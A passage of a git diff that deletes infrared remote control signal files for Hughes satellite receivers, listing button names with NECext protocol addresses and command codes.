+0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/DSS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: CHAN_DN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: 0_(ALL) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 1_(MOVIES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 2_(SPORTS) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 3_(NEWS) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: FAV_(LIST) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV/LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: GUIDE_(MENU) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUIDE/MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUILDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: DSS_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: PREV_CH_(SERVICES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV._CH_(SERVICES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV._CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 20 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 2F 00 00 00 -# -name: CC/DATE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 30 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 31 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 32 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: --_ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: --- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: HD_OUTPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: HD_OUTPUT_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: HDSD -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: SD_OUTPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 -# -name: STANDARD_OUTPUT_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 -# -name: 1080I -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 40 00 00 00 -# -name: 720P -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 41 00 00 00 -# -name: 480P -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 42 00 00 00 -# -name: 480I -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 43 00 00 00 -# -name: NATIVE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 44 00 00 00 -# -name: VARIABLE_1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 45 00 00 00 -# -name: VARIABLE_2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 46 00 00 00 -# -name: VARIABLE_3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 47 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 48 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 49 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4A 00 00 00 -# -name: FACTORY_TEST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4B 00 00 00 -# -name: SPECIAL_DIAGNOSTICS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 70 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 73 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 74 00 00 00 -# -name: ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 75 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 81 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 82 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 83 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 84 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 85 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 86 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 87 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 88 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 89 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 90 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 92 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 93 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 94 00 00 00 -# -name: PR._CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 96 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 97 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 98 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 99 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: B6 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir deleted file mode 100644 index 41c54230b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir deleted file mode 100644 index 4189d6975..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF_>> -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 01 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 02 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 03 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 05 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 06 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir deleted file mode 100644 index 69890c801..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir deleted file mode 100644 index eb6b2f52f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 01 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 02 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 10 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 13 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 14 00 00 00 -# -name: PR._CHANNEL -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 16 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 19 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir deleted file mode 100644 index 80481553c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir deleted file mode 100644 index 6537e1178..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 07 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOWMO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER/LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir deleted file mode 100644 index 7e8d1a6d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: action -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir deleted file mode 100644 index 4753cf5cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: input -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: turbo -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 5F 00 00 00 -# -name: interactive -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 60 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 61 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 62 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 64 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 65 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir deleted file mode 100644 index 7e8d1a6d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 